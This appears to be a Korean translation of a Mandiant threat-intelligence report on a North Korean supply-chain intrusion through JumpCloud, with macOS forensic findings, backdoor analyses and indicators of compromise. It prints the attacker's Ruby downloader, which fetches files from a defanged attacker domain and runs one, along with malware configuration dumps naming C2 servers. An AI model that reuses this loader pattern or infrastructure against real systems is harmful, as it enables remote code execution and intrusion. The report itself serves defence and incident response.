콘텐츠로 이동하기
위협 인텔리전스

SaaS 제공 기업들을 활용한 북한의 표적화된 공급망 공격

2023년 7월 24일
Mandiant

작성자: Austin Larsen, Dan Kelly, Joseph Pisano, Mark Golembiewski, Matt Williams, Paige Godvin


* 본 아티클의 원문은 2023723일 Google Cloud 블로그(영문)에 게재되었습니다.


2023년 7월, Mandiant Consulting은 미국 소프트웨어 솔루션 업체를 대상으로 한 공급망 침해 사고에 대응했습니다. 이 침해는 궁극적으로 아이덴티티 및 액세스 관리에 사용되는 제로 트러스트 디렉토리 플랫폼 서비스인 JumpCloud를 겨냥한 정교한 스피어 피싱 캠페인의 결과로 시작된 것으로 Mandiant는 판단합니다. JumpCloud는 이 무단 액세스가 5명 미만의 고객과 10개 미만의 장치에 영향을 미쳤다고 보고했습니다. 이 블로그 게시물의 세부 사항은 JumpCloud의 영향을 받은 고객 중 한 곳에 대한 공격에 대한 Mandiant의 조사를 기반으로 합니다.

Mandiant는 이러한 침입을 UNC4899에 기인했습니다. UNC4899은 암호화폐 관련 업체를 과거에 공격한 이력이 있는 북한과 관련된 공격 집단입니다. Mandiant는 UNC4899이 북한의 정보기술 조직 (Reconnaissance General Bureau, RGB) 내에서 암호화폐와 관련된 활동에 집중하고 있다고 보고 있습니다. 신뢰할 수 있는 파트너의 정보에 따르면, UNC4899은 주로 블록체인 관련 기업을 주로 공격하여 금전적 이익을 목적으로 하는 북한 위협 집단인 TraderTraitor와 일치하는 것으로 보입니다.

공급망 공격

2023년 6월 27일 18:51:57 UTC에 Mandiant는 한 소프트웨어 솔루션 업체의 JumpCloud 에이전트를 통해 실행된 악성 Ruby 스크립트를 발견했습니다. JumpCloud는 보안 사고 리포트에서 코맨드 프레임워크가 악성 데이터 삽입 과정에 사용되었음을 확인했습니다. 이 스크립트의 내용과 기능은 아래 백도어 페이로드 내용에서 확인하실 수 있습니다. 

https://storage.googleapis.com/gweb-cloudblog-publish/images/dprk-jumpcloud-fig1b_sxbu.max-1000x1000.png

그림 1: 공격 경로

Host Artifacts

침해의 증거는 /private/var/log/jcagent.log 파일 경로에 위치한 JumpCloud 에이전트 로그에서 관찰되었습니다.

Mandiant는 jcagent.log 로그 항목에서 시스템을 트리거한 “Runworkflow” 라는 지시어를 확인했습니다.

pen_spark
time=2023-06-27 18:51:57.415615-07:00 PID=82291 level=warning msg=Fallback Poll was required to handle the following directive: RunWorkflow

time=2023-06-27 18:51:57.416036-07:00 PID=82291 level=info msg=policies manager received a request to update workflow policies

time=2023-06-27 18:51:57.416145-07:00 PID=82291 level=info msg=removeWorkflowPolicies - Removing isExecuteOnGUILogin workflow policies

time=2023-06-27 18:51:57.416192-07:00 PID=82291 level=info msg=updateWorkflowPolicies - Adding all current workflow policies

time=2023-06-27 18:51:57.416238-07:00 PID=82291 level=info msg=Processing TypeScheduleCron
 
time=2023-06-27 18:51:57.416308-07:00 PID=82291 level=info msg=Policy manager creating schedule cron monitor ID=<ID>  name=Workflow schedule=immediate type=WORKFLOW

time=2023-06-27 18:51:57.416550-07:00 PID=82291 level=info msg=policies manager received a request to apply Workflow policy

조사 과정에서 Mandiant는 공격자가 13.3 또는 13.4.1 버전을 실행하는 4대의 OSX Ventura 시스템을 타겟팅한 것을 확인했습니다. 이 시스템들의 포렌식 분석 과정에서 Mandiant는 조사에 매우 중요한 비교적 확인된 새로운 포렌식 아티팩트가 있었습니다.

해당 포렌식 아티팩트는 Apple의 XProtect 서비스, 특히 XProtect Behavioral Service와 관련이 있습니다. Apple은 현재 다섯 가지 실행 감시 기반 규칙(behavioral-based rules)을 정의하고 있으며, 이 규칙 중 하나 이상을 위반하는 실행 프로그램에 대한 정보는 SQLite 3 형식으로 저장되고 /var/protected/xprotect/XPdb 경로에 위치한 XProtect 데이터베이스(XPdb)에 기록됩니다. 현재 XProtect 실행 감시 서비스는 실행을 차단하도록 구성되어 있지 않은 것으로 보입니다.

Mandiant는 XPdb에 저장된 데이터를 분석하여 공격 페이로드와 연관된 특정 사인(signing identifier)를 포함하는 항목을 확인했습니다. 구체적으로, XPdb 내의 exec_signing_id 필드는 바이너리의 서명에 대한 정보를 포함하고 있으며, 이를 통해 특정 서명된 바이너리의 작성자를 식별하는 데 도움이 될 수 있습니다. Mandiant는 악성 파일과 관련된 세 개의 고유한 서명을 확인했습니다:

  • mac-555549440ea0d64e96bb34428e08cc8d948b40e7
  • p-macos-55554944c2a6eb29a7bc3c73acdaa3e0a7a8d8c7
  • securityd-555549440fca1d2f1e613094b0c768d393f83d7f

Mandiant는 이러한 서명을 사용하여 XPdb에서 공격자가 삭제했거나 다른 분석 형식을 통해 식별할 수 없었던 추가 공격 페이로드를 검색했습니다.

XPdb에서 또 다른 흥미롭게 발견된 사실은 실행된 바이너리의 코드 디렉토리 해시(cdhash)를 포함하는 exec_cdhash였습니다. Mandiant는 XPdb에 저장된 cdhash 값을 사용하여 여러 시스템에서 악성 바이너리가 과거에 실행된 사실을 확인했습니다. cdhash는 응용 프로그램의 실행 코드를 기반으로 계산되기 때문에 Mandiant는 파일이 공격자에 의해 삭제되고 샘플의 파일 해시가 다르더라도 환경에서 추가 악성 코드를 식별할 수 있었습니다.

위협 행위들은 지속적으로 이전 페이로드를 디스크에서 제거하는 것으로 관찰되었지만, FSEvents 아티팩트는 이전에 디스크에 존재했던 파일 대한 중요한 정보를 제공할 수 있었습니다. FSEvents에는 파일 시스템 자체에 더 이상 해당 파일의 존재를 나타내는 아티팩트가 남아 있지 않은 경우에도 파일의 생성, 수정, 권한 변경, 이름 변경 및 삭제에 대한 세부 정보가 포함되어 있습니다. 개별 항목과 연결된 node_id 필드를 사용하여 Mandiant는 시스템에서 특정 공격자 활동의 순서와 이름이 변경된 파일의 업데이트된 이름을 식별할 수 있었습니다.

다음 표에서 FSEvents에서 얻은 관련 데이터의 예시를 확인할 수 있습니다. 

node_id fullpath Description
53789510 /Library/Ruby/Gems/2.6.0/extensions/init.rb Ruby script
53789519 /usr/local/bin/com.docker.vmnat FULLHOUSE.DOORED
53789522 /usr/local/bin/com.docker.vmnat.lock Not recovered
54101444 /Library/Fonts/ArialUnicode.ttf.md5 STRATOFEAR (Config)
54102142 /Library/PrivilegedHelperTools/com.microsoft.teams.TeamsDaemon STRATOFEAR
54102142 /Library/PrivilegedHelperTools/us.zoom.ZoomService STRATOFEAR
54102303 /Library/LaunchDaemons/com.microsoft.teams.TeamsDaemon.plist STRATOFEAR (LaunchDaemon)
54212385 /Library/LaunchDaemons/us.zoom.ZoomService.plist STRATOFEAR (LaunchDaemon)

백도어 페이로드

초기 액세스

침해 공격자는 JumpCloud를 손상시키고 명령 프레임워크에 악성 코드를 삽입하여 초기 접근 권한을 얻었습니다. 최소 하나의 인스턴스에서의 악성 코드는 JumpCloud 에이전트를 통해 실행된 다소 간단한 Ruby 스크립트였습니다. 스크립트에는 두 번째 단계 페이로드를 다운로드하여 실행하라는 지침이 포함되어 있습니다. 침해자가 피해 환경의 시스템에 대한 초기 액세스 권한을 얻은 후 24시간 이내에 추가 백도어를 배포하고 plist를 통해 지속성을 유지했습니다. 초기 페이로드와 두 번째 단계 백도어는 시스템에서 제거되었습니다.

Ruby 스크립트와 2차 단계 페이로드의 디렉토리 선택과 네이밍 방식은 위협 행위자가 합법적인 파일 및 응용 프로그램으로 위장하는 데 상당한 우선순위를 두고 작업하는 것으로 볼 수 있습니다.

Mandiant는 여러 시스템에 배포된 Ruby 스크립트인 init.rb를 확인했습니다.

require 'open-uri'
ffn = '/usr/local/bin/com.docker.vmnat' 
File.open(ffn, 'wb') do |file|
file.write(open('hxxps://primerosauxiliosperu[.]com/lic.dat').read)
end
sleep(1)
File.chmod(0755, ffn)
fn = '/usr/local/bin/com.docker.vmnat.lock' 
File.open(fn, 'wb') do |file|
file.write(open('hxxps://primerosauxiliosperu[.]com/lic_bak.dat').read)
end
sleep(1)
system(ffn)

스크립트는 ffn과 fn의 변수로 정의된 위치에 두 개의 파일을 다운로드하지만, 시스템 함수를 통해 첫 번째 파일만 실행합니다. 두 번째 파일은 호스트에서 식별할 수 없습니다.

FULLHOUSE.DOORED (com.docker.vmnat, npx-cli, us.zoom.ZoomUpdate)

공격자는 앞서 언급한 Ruby 스크립트를 사용하여 /usr/local/bin/com.docker.vmnat을 다운로드하고 실행했습니다. 그러나 com.docker.vmnat은 시스템에서 제거되었습니다. 다행히 /private/var/db/oah 디렉토리에서 이 파일의 실행과 관련된 아티팩트가 발견되었습니다.

com.docker.vmnat가 x86-64 시스템용으로 컴파일되었을 가능성이 높기 때문에 코드는 대상 시스템에서 성공적으로 실행되도록 ARM64로 변환되어야 했습니다. 결과적으로 Apple의 Rosetta 2 번역기는 oah 디렉토리 아래에 com.docker.vmnat.aot 파일을 생성했습니다. 이 파일에는 변환된 ARM64 코드와 원본 com.docker.vmnat 응용 프로그램에 있는 심볼이 포함되어 있습니다. 이러한 심볼을 기반으로 Mandiant는 com.docker.vmnat이 FULLHOUSE.DOORED 백도어의 한 버전이었다고 평가합니다. 단, 신뢰도는 중간 수준입니다.

FULLHOUSE.DOORED는 C/C++로 작성된 백도어 프로그램이며 HTTP를 사용하여 통신합니다. FULLHOUSE 터널러의 기능을 포함하고 있으며 셸 명령 실행, 파일 전송, 파일 관리, 프로세스 주입과 같은 백도어 명령도 지원합니다. 명령 및 제어 (C2) 서버는 명령줄 또는 구성 파일에서 설정해야 합니다.

합법적인 바이너리 프로그램으로 위장된 이름을 가진 시스템에서 추가적인 공격자 백도어가 식별되었습니다. 이 백도어는 변환 과정에서도 AOT 파일을 생성했습니다 (예: npx-clinpx-cli.aot).

STRATOFEAR (com.google.kservice, us.zoom.ZoomService)

피해 환경 내의 시스템에 STRATOFEAR가 정확히 어떻게 배포되었는지를 결정할 만한 포렌식 증거는 제한적이었습니다. 그러나 각 사례에서 STRATOFEAR의 배포 이전에는 FULLHOUSE.DOORED가 배포되었습니다. Mandiant가 분석한 시스템들에서는 하나의 백도어만 남아 있는 것으로 나타났는데, 이는 침해자가 FULLHOUSE.DOORED를 1단계 백도어로 사용한 다음 STRATOFEAR를 2단계 백도어로 배포했을 수 있음을 나타냅니다.

STRATOFEAR는 모듈형 백도어로, C2 서버와 프로토콜을 사용하여 통신합니다. 이 프로토콜은 로컬 파일에서 해독된 C2 구성에 지정되어 있습니다. 백도어의 주요 기능은 추가 모듈 검색 및 실행과 관련됩니다. 모듈은 원격 서버에서 다운로드하거나 디스크에서 로드할 수 있습니다.

STRATOFEAR에는 2개의 파일 경로를 포함하는 내장 구성이 있습니다. 첫 번째 경로 (/Library/Fonts/ArialUnicode.ttf.md5)는 C2 서버를 포함하여 백도어의 전체 구성을 저장합니다. 두 번째 경로 (/Library/Fonts/ArialUnicode.ttf.md5.1)는 다음과 같은 모니터 활동과 관련된 로깅 정보를 저장하는 데 사용될 수 있습니다.

STRATOFEAR의 해독된 0x1052 바이트 구성 일부는 다음과 같습니다. 

00000410  25 63 01 00 00 00 E8 03 00 00 03 00 00 00 02 00  %c....è.........
00000420  00 00 65 6D 62 65 64 3A 2F 2F 30 00 00 00 00 00  ..embed://0.....
00000430  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000440  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000450  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000460  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000470  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000480  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000490  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
000004A0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
000004B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
000004C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
000004D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
000004E0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
000004F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000500  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000510  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000520  00 00 00 00 00 00 70 73 73 6C 3A 2F 2F 63 6F 6E  ......pssl://con
00000530  74 6F 72 74 6F 6E 73 65 74 2E 63 6F 6D 3A 34 34  tortonset.com:44
00000540  33 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  3...............
00000550  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000560  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000570  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000580  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000590  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
000005A0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
000005B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
000005C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
000005D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
000005E0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
000005F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000600  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000610  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000620  00 00 00 00 00 00 00 00 00 00 70 73 73 6C 3A 2F  ..........pssl:/
00000630  2F 72 65 6C 79 73 75 64 64 65 6E 2E 63 6F 6D 3A  /relysudden.com:
00000640  34 34 33 00 00 00 00 00 00 00 00 00 00 00 00 00  443.............

STRATOFEAR는 offset 0x410 (0x16325)의 4바이트 값을 uid로 참조합니다. offset 0x416 (0x3e8 또는 10진수 1000)의 4바이트 값은 백도어의 버전 번호입니다. STRATOFEAR의 구성 파일에는 AES-128- 암호화된 모듈이 포함될 수 있지만, 발견된 샘플에서는 이 경우가 아니었습니다.

STRATOFEAR에서 지원하는 명령 subset은 다음 표에 나열되어 있습니다. 

Command ID Description
0x02 Start the primary module thread (see the following module command table)
0x07 Collect system information, module information, and configuration data
0x08 Read and decrypt the local configuration file
0x09 Write the in-memory configuration to the local configuration file
0x0A Delete the local configuration file
0x0B Get the path of the local configuration file
0x0C Retrieve the in-memory configuration

0x07 명령을 사용하여 수집된 시스템 정보에는 시스템 이름, 현재 사용자 이름 및 시스템 아키텍처가 포함됩니다.

STRATOFEAR는 다음 표에 나열된 모듈 관련 명령을 지원합니다. 

Command ID Description
0x60 Not implemented
0x61 Retrieve module information: name, ID, version, memory address
0x62 Load module from memory or disk and execute its Initialize function
0x63 Invoke module by ID
0x64 Retrieve module execution result
0x65 Retrieve module start and end values
0x66 Change directory

다운로드한 모듈은 $TMPDIR 또는 /tmp 디렉토리의 .tmp 파일에 저장될 수 있으며, 파일 이름은 6자의 알파벳 숫자로 무작위로 생성됩니다.

STRATOFEAR의 코드는 ID 값과 내부 이름을 가진 5개의 미리 정의된 모듈 타입을 참조하고 있습니다.

Module ID Internal Name
1 module_ipc
2 module_monitor
3 module_apu
4 module_event
5 module_net

STRATOFEAR는 또한 모듈의 위치를 보고하는 데 사용되는 문자열을 포함합니다. 가능한 위치는 "Config", "Static" 또는 "Path"이며 그 뒤에 파일 경로가 옵니다.

STRATOFEAR는 최대 16개의 스레드를 사용하여 시스템 활동을 모니터링하기 위해 "모니터"라고 부르는 것을 사용합니다. 백도어는 8개의 다른 모니터를 참조하며 0x45를 제외한 모두에 대한 설명이 포함되어 있습니다.

Monitor ID

Internal Description

0x42

"monitor for when file(%s) is created"

0x43

"monitor for when size of file(%s) is changed"

0x44

"monitor for when status of network connection(%s:%d => %s:%d) is created"

0x45

None. This monitor can test for a successful TCP connection to a given IP address or domain using a specified port.

0x46

"monitor for when process(%s) is created"

0x47

"monitor for when new device is mounted"

0x48

"monitor for when new session is activated"

0x49

"monitor for when it is waked up after %d minutes"

Mandiant는 특정 Common Name(CN)을 포함하는 자체 서명 인증서가 있는 ARM64 시스템용 Mach-O 실행 파일로 컴파일된 STRATOFEAR 변종을 1개를 직접 관찰했습니다. Mandiant는 동일한 자체 서명 인증서 CN을 가진 두 번째 샘플을 VirusTotal에서 확인했습니다. 두 번째 샘플은 VMProtect로 보호된 Windows DLL이며 2022년 10월 19일에 처음 VirusTotal에 제출되었습니다. Mandiant는 이 DLL이 STRATOFEAR의 Windows 버전이라고 중간 수준의 신뢰도로 평가합니다.

TIEDYE (xpc.protect)

피해 환경 내의 시스템에 TIEDYE가 정확히 어떻게 배포되었는지를 결정할 만한 포렌식 증거는 제한적이었습니다. 하지만, STRATOFEAR와 유사하게, TIEDYE는 FULLHOUSE.DOORED에 의해 2단계 백도어로 배포되었을 가능성이 높습니다.

xpc.protect라는 이름의 Mach-O 실행 파일이 식별되었고 TIEDYE 백도어의 발전된 형태로 판명되었습니다. TIEDYE는 다음과 같이 다양한 지원 프로토콜을 사용하여 C2 서버와 통신할 수 있습니다. TIEDYE는 추가적인 페이로드 검색 및 실행, 기본 시스템 정보 수집, 셸 명령 실행 등의 기능을 포함합니다.

TIEDYE의 원시 구성 일부는 다음과 같습니다. 

00000000  00 00 01 E3 00 0E 00 1E 00 00 00 04 00 03 00 20  ...ã........... 
00000010  00 10 56 E6 00 00 00 04 00 03 00 21 00 00 00 05  ..Væ.......!....
00000020  00 00 00 7D 00 0D 00 33 00 00 00 37 00 0E 00 00  ...}...3...7....
00000030  00 00 00 17 00 0C 00 34 73 73 6C 3A 2F 2F 62 61  .......4ssl://ba
00000040  73 6B 65 74 73 61 6C 75 74 65 2E 63 6F 6D 00 00  sketsalute.com..
00000050  00 00 04 00 03 00 35 00 00 00 00 00 00 00 04 00  ......5.........
00000060  03 00 36 00 00 00 00 00 00 00 36 00 0E 00 00 00  ..6.......6.....
00000070  00 00 16 00 0C 00 34 73 73 6C 3A 2F 2F 72 65 6E  ......4ssl://ren
00000080  74 65 64 70 75 73 68 79 2E 63 6F 6D 00 00 00 00  tedpushy.com....
00000090  04 00 03 00 35 00 00 00 00 00 00 00 04 00 03 00  ....5...........
000000A0  36 00 00 00 00 00 00 00 04 00 03 00 23 00 00 00  6...........#...
000000B0  0A 00 00 01 08 00 0D 00 24 00 00 00 24 00 0E 00  ........$...$...
000000C0  00 00 00 00 04 00 03 00 25 00 00 03 E8 00 00 00  ........%...è...
000000D0  04 00 03 00 26 00 00 00 00 00 00 00 04 00 03 00  ....&...........
000000E0  27 00 00 00 00 00 00 00 24 00 0E 00 00 00 00 00  '.......$.......
000000F0  04 00 03 00 25 00 00 03 E9 00 00 00 04 00 03 00  ....%...é.......
00000100  26 00 00 00 00 00 00 00 04 00 03 00 27 00 00 00  &...........'...
00000110  00 00 00 00 24 00 0E 00 00 00 00 00 04 00 03 00  ....$...........
00000120  25 00 00 03 EA 00 00 00 04 00 03 00 26 00 00 00  %...ê.......&...
00000130  00 00 00 00 04 00 03 00 27 00 00 00 00 00 00 00  ........'.......
00000140  24 00 0E 00 00 00 00 00 04 00 03 00 25 00 00 03  $...........%...
00000150  ED 00 00 00 04 00 03 00 26 00 00 00 00 00 00 00  í.......&.......
00000160  04 00 03 00 27 00 00 00 00 00 00 00 24 00 0E 00  ....'.......$...
00000170  00 00 00 00 04 00 03 00 25 00 00 00 00 00 00 00  ........%.......
00000180  04 00 03 00 26 00 00 00 00 00 00 00 04 00 03 00  ....&...........
00000190  27 00 00 00 00 00 00 00 24 00 0E 00 00 00 00 00  '.......$.......
000001A0  04 00 03 00 25 00 00 00 00 00 00 00 04 00 03 00  ....%...........
000001B0  26 00 00 00 00 00 00 00 04 00 03 00 27 00 00 00  &...........'...
000001C0  00 00 00 00 22 00 0C 00 37 2F 4C 69 62 72 61 72  ...."...7/Librar
000001D0  79 2F 43 61 63 68 65 73 2F 63 6F 6D 2E 61 70 70  y/Caches/com.app
000001E0  6C 65 2E 70 72 69 76 61 63 79 00 05 05 05 05 05  le.privacy......

이 구성에는 프로토콜 식별자로 시작하는 2개의 C2 서버가 포함되어 있습니다. TIEDYE는 tcptcp6udpupd6httphttpsproxy_socks4proxy_socks4apipesslssl3, rdp 프로토콜을 지원합니다. 구성 끝에 있는 파일 경로는 AES-128을 사용하여 암호화된 구성 데이터를 저장하는 데 사용됩니다.

이전 버전의 TIEDYE는 LaunchAgent를 통해 지속되도록 구성되었습니다. 현재 버전은 다음 위치 중 한 곳에서 LaunchAgent를 생성하는 기능을 포함하고 있지만 그렇게 구성되지는 않았습니다:

  • $HOME/Library/LaunchAgents/com.studentd.agent.plist
  • /Library/LaunchDaemons/com.studentd.agent.plist

TIEDYE는 TCP를 통해 커스텀 바이너리 프로토콜로 통신하는 C++로 작성된 백도어인 RABBITHUNT와 유사합니다. RABBITHUNT의 핵심 기능은 메모리에 직접 다운로드되거나 로컬 파일에서 읽은 모듈을 통해 구현됩니다. 모듈을 통해 추가되는 기능에는 리버스 쉘, 파일 전송, 프로세스 생성 및 프로세스 종료가 포함됩니다.

북한의 암호화폐 공격

Mandiant는 UNC4899가 경영진 및 내부 보안팀과 관련된 MacOS 키체인 및 정찰 데이터를 타겟팅하는 것을 확인했습니다.

UNC4899의 공격 대상은 별도의 RGB 연계 그룹인 APT43과 중복됩니다. APT43는 2023년 7월에 암호화폐 분야에 대한 관심을 표명했으며, 특히 미국, 한국, 홍콩, 싱가포르의 여러 핀테크 및 암호화폐 기업의 다양한 C-레벨 임원을 타겟팅했습니다. 이 개인 중 상당수는 금융 서비스, 암호화폐, 블록체인, web3 및 관련 조직에서 근무하고 있습니다. 북한 집단 간의 타겟팅 영역의 중복과 인프라 공유는 지속적인 타겟팅과 암호화폐 분야에 집중하고 있다는 것을 알 수 있습니다.

작전 실수

Mandiant는 RGB 집단이 일련의 Operational Relay Boxes (ORB)를 L2TP IPsec 터널과 상업 VPN 제공업체와 함께 사용하여 원본 주소를 숨기는 것을 관찰했습니다. 이 중계기들은 RGB 내 여러 조직에서 많이 공유되는 것으로 보입니다.

Mandiant는 UNC4899가 다양한 VPN 제공업체를 최종 홉(hop)으로 활용하는 것을 관찰했으며, 그 중 ExpressVPN이 가장 흔했지만 NordVPN, TorGuard 및 기타 많은 제공업체에 대한 연결도 관찰되었습니다. 북한 위협 행위자들이 이 마지막 홉을 사용하지 않거나 피해자 네트워크에서 작업을 수행하는 동안 실수로 사용하지 않는 경우가 많았습니다.

RGB 행위자가 사용하는 VPN은 때때로 실패하여 행위자의 실제 위치 IP 주소를 노출시킵니다. Mandiant는 북한 위협 행위자 UNC4899가 공격자가 제어하는 ORB에 175.45.178[.]0/24 서브넷 (평양 류경동)에서 직접 연결하는 것을 관찰했습니다. 또한, 북한 위협 행위자가 점프 박스 중 하나에서 평양 IP에 직접 로그인하는 것을 확인했습니다. 이러한 북한 네트워크 블록에 대한 연결이 단시간이었기 때문에 이는 OPSEC 실수였을 것으로 추정됩니다. 그림 2는 이 캠페인에서 사용된 네트워크 인프라의 개요를 제공합니다.

https://storage.googleapis.com/gweb-cloudblog-publish/images/dprk-jumpcloud-fig2.max-900x900.png

그림 2: UNC4899 네트워크 인프라

Mandiant는 이전 공격 작전에서 PTR 기록이 변경되지 않았다는 사실 때문에 추가적인 인프라를 발견할 수 있었고, 앞서 wasxxv[.]site 도메인이 북한 위협 행위자에 의해 사용되고 있음을 확인했습니다. 또한 IP 주소 198.244.135[.]250은 또 다른 C2 도메인 prontoposer[.]com에 사용되고 있지만 여전히 이전에 식별된 도메인을 가리키는 PTR 레코드를 보유하고 있습니다.

Attribution

Mandiant는 이 활동을 북한과 관련된 것으로 추정되는 UNC4899로 추적하고 있습니다. 높은 신뢰도로 UNC4899이 RGB 산하의 암호화폐 중심 그룹이라고 평가합니다. UNC4899의 타겟팅은 선택적이며, JumpCloud를 통해 피해자 네트워크에 액세스하는 것이 관찰되었습니다. Mandiant는 RGB 산하에 있는 여러 북한 그룹 간의 중복을 관찰했습니다. 이러한 그룹은 일반적으로 목표를 달성하기 위해 인프라를 공유하고, UNC2970, APT43 및 UNC4899가 모두 유사한 인프라를 활용하는 것을 관찰했습니다.

Mandiant는 지난해 금전 취득을 목적으로 한 북한의 공격 작전이 증가한 것을 관찰했으며, 특히 암호화폐 산업에 집중된 경우가 두드러졌습니다. Lazarus라는 알려져 있는 RGB 관련 암호화폐 관련 공격 그룹과 오픈 소스 "TraderTraitor" 및 "AppleJeus"와 같이 잘 알려진 기존 APT 그룹과 확실히 연관된 변종들은 점점 더 암호화폐 산업과 다양한 블록체인 플랫폼에 타격을 주는 금전적 이익을 취하기 위한 공격 작전을 수행하고 있습니다.

전망 & 시사점

공격 캠페인은 JumpCloud를 타겟팅하며, 올해 초에 보고된 북한 공급망 침해 사건은 Trading Technologies X_TRADER 애플리케이션과 3CX Desktop App 소프트웨어에 영향을 미쳤습니다. 이러한 운영의 연쇄적인 효과는 서비스 공급자에 대한 액세스 권한을 얻기 위해 피해자를 공격하는 것을 보여줍니다. 두 작전 모두 금전적 이윤을 목적으로 하는 북한 공격그룹과 관련이 있는 것으로 추측되며, 이는 북한 운영자가 암호화폐 및 핀테크 관련 자산을 타겟팅하기 위한 노력의 일환으로 공급망 TTP를 구현하고 있음을 시사합니다. Mandiant는 북한 암호화폐 부대가 암호화폐 업계의 고액 자산 개인과 그들이 사용하는 소프트웨어 솔루션을 타겟팅하기 위해 MacOS 멀웨어 및 기능 개발을 지속적으로 진행할 것으로 평가합니다.

Mandiant는 북한의 사이버 환경이 공격 툴을 서로간 공유하고 표적하는 피해 조직에 공격 작전을 성공시키기 위한 노력을 함께 하고있다고 평가합니다. 북한 사이버 조직들이 현재의 관심 영역을 빠르게 전환하여 랜섬웨어, 무기 및 핵 공격, 암호화폐 등과 같이 다양한 산업 분야를 대상으로 공격을 진행시키고 있는 걸 확인했습니다. 이러한 북한의 활동 "효율화"는 방어자가 사이버 공역에서 악의적인 활동을 추적, 특정하고 저지시키기 더욱 어렵게 만듭니다. 동시에, 이제는 협업적으로 변화한 사이버 공격자가 보다 은밀하고 빠른 속도로 움직일 수 있도록 합니다. Mandiant는 공격 대상과 공격 툴을 공유하는 수준을 볼 때, RGB의 영향력이 크게 작용하는 사이버 환경의 외부에서도 변화가 지속적으로 발생하고 있다고 판단합니다.

감사

블로그 시작에 표시되어 있는 작성자들 외에도 Mandiant는 북한 관련 침입에 대응하기 위해 고객사와 협력하는 데 지속적인 노력과 헌신을 보여준 많은 전문가들에게 감사의 말씀을 드립니다. 또한 Google의 위협 분석 그룹 (TAG), Mandiant의 북한 퓨전 셀(DPRK Fusion Cell)과 정부 파트너 여러분의 지속적인 협업과 지원에 특별한 감사를 드립니다. 끝으로, 지속적인 파트너십과 탐지용 YARA 룰 및 관련 지표 제공에 도움을 주신 Trellix에게도 감사드립니다.

Indicators of Compromise (IOCs)

Network IOCs

IP Address

ASN

Netblock

Location

146.19.173.125

213373

IP Connect Inc

Seychelles

23.227.202.54

29802

HIVELOCITY, Inc.

Tampa, FL, US

38.132.124.88

9009

M247 Europe

Secaucus, NJ, US

88.119.174.148

61272

BaCloud

Lithuania

198.244.135.250

16276

OVH

United Kingdom (GB)

 

Domain

contortonset[.]com

relysudden[.]com

primerosauxiliosperu[.]com

rentedpushy[.]com

basketsalute[.]com

prontoposer[.]com

Endpoint IOCs

MD5

SHA256

Filename

Description

65baa3c1a22052fe1f70c9d2cbe11de4

a8b1c5eb2254e1a3cec397576ef42da038600b4fa7cd1ab66472d8012baabf17

init.rb

Ruby script launched via JumpCloud agent

155597a7985cb8f7a6e748e5e108f637

08607faad41009e31c094539b20b615b3e7a71e716f2bca12e4a097f38f14466

com.docker.vmnat.aot

FULLHOUSE.DOORED (AOT Translation)

N/A

5701d7bcf809d5ffc9061daeb24d3e7cc6585d9b42bacf94fc68a6c500542f8c

com.docker.vmnat

FULLHOUSE.DOORED

N/A

5701d7bcf809d5ffc9061daeb24d3e7cc6585d9b42bacf94fc68a6c500542f8c

Npx-cli

FULLHOUSE.DOORED

N/A

28c3d359364bf5d64a864f08d4743ea08e48017be27fda8cf53fb5ba307583b4

us.Zoom.ZoomUpdate

FULLHOUSE.DOORED

39a421ea89035ffcc3dea0cd0f10964e

e901d9279d8f2ad96d741e7cd92770c0ce3ff3f4c029dbf26177b4e09228fe66

ArialUnicode.ttf.md5

STRATOFEAR encrypted configuration 

N/A

N/A

com.google.keystone.agent.plist

STRATOFEAR LaunchDaemon

N/A

N/A

com.google.keystone.service.plist

STRATOFEAR LaunchDaemon

N/A

N/A

com.microsoft.teams.TeamsDaemon.plist

STRATOFEAR LaunchDaemon

27db0f17282a4c4507266f3c4d9c4527

88f23c22a7f9da8b5087a3fa9c76fd5c79903d89ceda4152943cadc0797cbcb8

us.zoom.ZoomService.plist

STRATOFEAR LaunchDaemon

6d8194c003d0025fa92fbcbf2eadb6d1

a90561efc22bdd777956cc67d5b67e3ec3c1b4f35a64f4328e40615d2ab24186

com.google.kservice

STRATOFEAR backdoor (Mach-O ARM64)

6d8194c003d0025fa92fbcbf2eadb6d1

a90561efc22bdd777956cc67d5b67e3ec3c1b4f35a64f4328e40615d2ab24186

com.microsoft.teams.TeamsDaemon

STRATOFEAR backdoor (Mach-O ARM64)

6d8194c003d0025fa92fbcbf2eadb6d1

a90561efc22bdd777956cc67d5b67e3ec3c1b4f35a64f4328e40615d2ab24186

us.zoom.ZoomService

STRATOFEAR backdoor (Mach-O ARM64)

48eaf2a7e97189709fb3789f0c662e1c

